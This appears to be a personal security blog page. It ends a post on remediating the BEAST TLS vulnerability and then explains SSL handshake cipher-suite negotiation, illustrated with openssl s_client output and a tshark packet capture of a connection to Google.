On the other hand, in order to remediate this vulnerability the focus should be on configuring the web servers to prioritize a different cipher suite, or upgrade to TLS 1.1/1.2 [8]. Also consider that this attack has a low CVSS score and it’s not easy to pull. Therefore, unless you are exposed to someone who would have the means, motive and opportunity it might be worth to spend time on fixing other things.

If you want to read more about it, I would recommend taking a look at Thai Duong blog article he released one week after the security conference. The summary from Thierry Zoller and the below references.

[1] http://www.infoworld.com/sites/infoworld.com/files/pdfe/BEAST_Duong_Rizzo.pdf
[2] http://vnhacker.blogspot.co.uk/2011/09/beast.html
[3] http://www.imperialviolet.org/2011/09/23/chromeandbeast.html
[4] http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-3389
[5] http://www.schneier.com/blog/archives/2011/09/man-in-the-midd_4.html
[6] http://www.openssl.org/~bodo/tls-cbc.txt
[7] http://eprint.iacr.org/2006/136.pdf
[8] http://www.ietf.org/proceedings/85/slides/slides-85-saag-1.pdf

Tagged , , , , , ,

SSL Handshake Protocol

Some years ago during the recruitment phase for a position in professional services. At the end of the technical interview, the practice manager asked if I could provide him by email a little research about the SSL handshake (specific to Web applications) and let him know about the decision on cipher suites, which side (client or server) makes the decision. Basically he wanted to know who makes the decision about which cipher suite to use and details behind it.

I must say I really liked the challenge because it allowed me to do research and build documentation about security matters. So I made a small investigation using one or two good books and produced a three pages document with the technical details.

This is what this blog entry is about. I would like to share with not the three pages document but a short technical summary about the answer I provided on the SSL handshake protocol and the CipherSuite parameter decision. Plus a practical illustration on the usage of the SSL handshake protocol and the cipher suite decision process using openssl and tshark tools.

In short, the most difficult part of SSL stack is the handshake protocol. During the phase 1 of the handshake protocol, where it’s established the security capabilities, the exchange is initiated by the client who sends a client_hello message with a set of parameters. One of those parameters is the CipherSuite which is a list that contains the combinations of cryptographic algorithms supported by the client, in decreasing order of preference. Each element of the list (each cipher suite) defines both a key exchange algorithm and a CipherSpec.

After sending the client_hello message, the client waits for the server_hello message, which containts the same parameters as the client_hello message. Again, here one of the parameters is the CipherSuite, which in the server_hello message contains the single cipher suite selected by the server from those proposed by the client. With this two messages the phase 1 is established and the SSL establishments continues with the phase 2 which is the Server Authentication and Key Exchange. Then the phase 3 for Client Authentication and Key Exchange. Finally the phase 4 to complete the handshake and begin to exchange application layer data.

In short and to make a direct answer to his question: the cipher suits are proposed by the client and decided by the server.

Now, the interesting part is below where a practical exercise was made to illustrate this.

Running on a Linux system I established a HTTPS connection with the host www google.com using openssl command and in parallel executed tshark to capture the packets. Some of the verbose output has been omitted to show what is truly pertinent to the SSL Handshake protocol.

In the output of the openssl command we can see the server X.509 public certificate and its parameters and that the SSL handshake protocol was accomplished using RC4-SHA as cipher and TLSv1 as protocol.

lrocha@host:~$ openssl s_client -connect www.google.com:443
 CONNECTED(00000003)
 depth=1 /C=ZA/O=Thawte Consulting (Pty) Ltd./CN=Thawte SGC CA
 verify error:num=20:unable to get local issuer certificate
 verify return:0
 ---
 Certificate chain
 0 s:/C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com
 i:/C=ZA/O=Thawte Consulting (Pty) Ltd./CN=Thawte SGC CA
 1 s:/C=ZA/O=Thawte Consulting (Pty) Ltd./CN=Thawte SGC CA
 i:/C=US/O=VeriSign, Inc./OU=Class 3 Public Primary Certification Authority
 ---
 Server certificate
 -----BEGIN CERTIFICATE-----
 MIIDITCCAoqgAwIBAgIQT52W2WawmStUwpV8tBV9TTANBgkqhkiG9w0BAQUFADBM
 MQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhhd3RlIENvbnN1bHRpbmcgKFB0eSkg
 THRkLjEWMBQGA1UEAxMNVGhhd3RlIFNHQyBDQTAeFw0xMTEwMjYwMDAwMDBaFw0x
 MzA5MzAyMzU5NTlaMGgxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlh
 MRYwFAYDVQQHFA1Nb3VudGFpbiBWaWV3MRMwEQYDVQQKFApHb29nbGUgSW5jMRcw
 FQYDVQQDFA53d3cuZ29vZ2xlLmNvbTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkC
 gYEA3rcmQ6aZhc04pxUJuc8PycNVjIjujI0oJyRLKl6g2Bb6YRhLz21ggNM1QDJy
 wI8S2OVOj7my9tkVXlqGMaO6hqpryNlxjMzNJxMenUJdOPanrO/6YvMYgdQkRn8B
 d3zGKokUmbuYOR2oGfs5AER9G5RqeC1prcB6LPrQ2iASmNMCAwEAAaOB5zCB5DAM
 BgNVHRMBAf8EAjAAMDYGA1UdHwQvMC0wK6ApoCeGJWh0dHA6Ly9jcmwudGhhd3Rl
 LmNvbS9UaGF3dGVTR0NDQS5jcmwwKAYDVR0lBCEwHwYIKwYBBQUHAwEGCCsGAQUF
 BwMCBglghkgBhvhCBAEwcgYIKwYBBQUHAQEEZjBkMCIGCCsGAQUFBzABhhZodHRw
 Oi8vb2NzcC50aGF3dGUuY29tMD4GCCsGAQUFBzAChjJodHRwOi8vd3d3LnRoYXd0
 ZS5jb20vcmVwb3NpdG9yeS9UaGF3dGVfU0dDX0NBLmNydDANBgkqhkiG9w0BAQUF
 AAOBgQAhrNWuyjSJWsKrUtKyNGadeqvu5nzVfsJcKLt0AMkQH0IT/GmKHiSgAgDp
 ulvKGQSy068Bsn5fFNum21K5mvMSf3yinDtvmX3qUA12IxL/92ZzKbeVCq3Yi7Le
 IOkKcGQRCMha8X2e7GmlpdWC1ycenlbN0nbVeSv3JUMcafC4+Q==
 -----END CERTIFICATE-----
 subject=/C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com
 issuer=/C=ZA/O=Thawte Consulting (Pty) Ltd./CN=Thawte SGC CA
 ---
 No client certificate CA names sent
 ---
 SSL handshake has read 1772 bytes and written 307 bytes
 ---
 New, TLSv1/SSLv3, Cipher is RC4-SHA
 Server public key is 1024 bit
 Secure Renegotiation IS supported
 Compression: NONE
 Expansion: NONE
 SSL-Session:
 Protocol : TLSv1
 Cipher : RC4-SHA
 Session-ID: 8FEF40B71445984250A6658D3664CB8D391EEA43EB40CD535249FAB6EFC79F11
 Session-ID-ctx:
 Master-Key:
 8CFE3997E583BC3D9FDBCC81F3FA136DCC1872818FF9BECA6B10C64EA03D6D52C163DA470779E7D5AB23A89967A05E39
 Key-Arg : None
 Start Time: 1335093485
 Timeout : 300 (sec)
 Verify return code: 20 (unable to get local issuer certificate)

With tshark we can see that during the client_hello message the client proposes
26 cipher specs in order of preference which by its turn it’s followed by the server_hello
message which decides to use the Cipher Suite: TLS_RSA_WITH_RC4_128_SHA
(0x0005).

lrocha@host:~$ tshark -i eth0 -Vx -s0 port 443 

Secure Socket Layer 
 SSLv2 Record Layer: Client Hello
 [Version: SSL 2.0 (0x0002)] 
 Length: 119 
 Handshake Message Type: Client Hello (1) 
 Version: TLS 1.0 (0x0301) 
 Cipher Spec Length: 78 
 Session ID Length: 0 
 Challenge Length: 32 
 Cipher Specs (26 specs) Cipher Specs (26 specs)
 Cipher Spec: TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x000039) 
 Cipher Spec: TLS_DHE_DSS_WITH_AES_256_CBC_SHA (0x000038) 
 Cipher Spec: TLS_RSA_WITH_AES_256_CBC_SHA (0x000035) 
 Cipher Spec: TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA (0x000016) 
 Cipher Spec: TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA (0x000013) 
 Cipher Spec: TLS_RSA_WITH_3DES_EDE_CBC_SHA (0x00000a) 
 Cipher Spec: SSL2_DES_192_EDE3_CBC_WITH_MD5 (0x0700c0) 
 Cipher Spec: TLS_DHE_RSA_WITH_AES_128_CBC_SHA (0x000033) 
 Cipher Spec: TLS_DHE_DSS_WITH_AES_128_CBC_SHA (0x000032) 
 Cipher Spec: TLS_RSA_WITH_AES_128_CBC_SHA (0x00002f) 
 Cipher Spec: SSL2_RC2_CBC_128_CBC_WITH_MD5 (0x030080) 
 Cipher Spec: TLS_RSA_WITH_RC4_128_SHA (0x000005)
 Cipher Spec: TLS_RSA_WITH_RC4_128_MD5 (0x000004) 
 Cipher Spec: SSL2_RC4_128_WITH_MD5 (0x010080) 
 Cipher Spec: TLS_DHE_RSA_WITH_DES_CBC_SHA (0x000015) 
 Cipher Spec: TLS_DHE_DSS_WITH_DES_CBC_SHA (0x000012) 
 Cipher Spec: TLS_RSA_WITH_DES_CBC_SHA (0x000009) 
 Cipher Spec: SSL2_DES_64_CBC_WITH_MD5 (0x060040) 
 Cipher Spec: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA (0x000014) 
 Cipher Spec: TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA (0x000011) 
 Cipher Spec: TLS_RSA_EXPORT_WITH_DES40_CBC_SHA (0x000008) 
 Cipher Spec: TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 (0x000006) 
 Cipher Spec: SSL2_RC2_CBC_128_CBC_WITH_MD5 (0x040080) 
 Cipher Spec: TLS_RSA_EXPORT_WITH_RC4_40_MD5 (0x000003) 
 Cipher Spec: SSL2_RC4_128_EXPORT40_WITH_MD5 (0x020080) 
 Cipher Spec: Unknown (0x0000ff) 
 Challenge 

Secure Socket Layer 
 TLSv1 Record Layer: Handshake Protocol: Server Hello
 Content Type: Handshake (22) 
 Version: TLS 1.0 (0x0301)
 Length: 81 
 Handshake Protocol: Server Hello 
 Handshake Type: Server Hello (2) 
 Length: 77 
 Version: TLS 1.0 (0x0301) 
 Random 
 gmt_unix_time: Aug 22, 2009 07:18:05.000000000 EDT 
 random_bytes: 4abfee70b2a89e684e917c40c47054bf074028babe764af3... 
 Session ID Length: 32 
 Session ID: 8fef40b71445984250a6658d3664cb8d391eea43eb40cd53... 
 Cipher Suite: TLS_RSA_WITH_RC4_128_SHA (0x0005)
 Compression Method: null (0) 
 Extensions Length: 5 
 Extension: renegotiation_info 
 Type: renegotiation_info (0xff01) 
 Length: 1 
 Data (1 byte)

Bottom line, I didn’t got the job but it was fun!

Tagged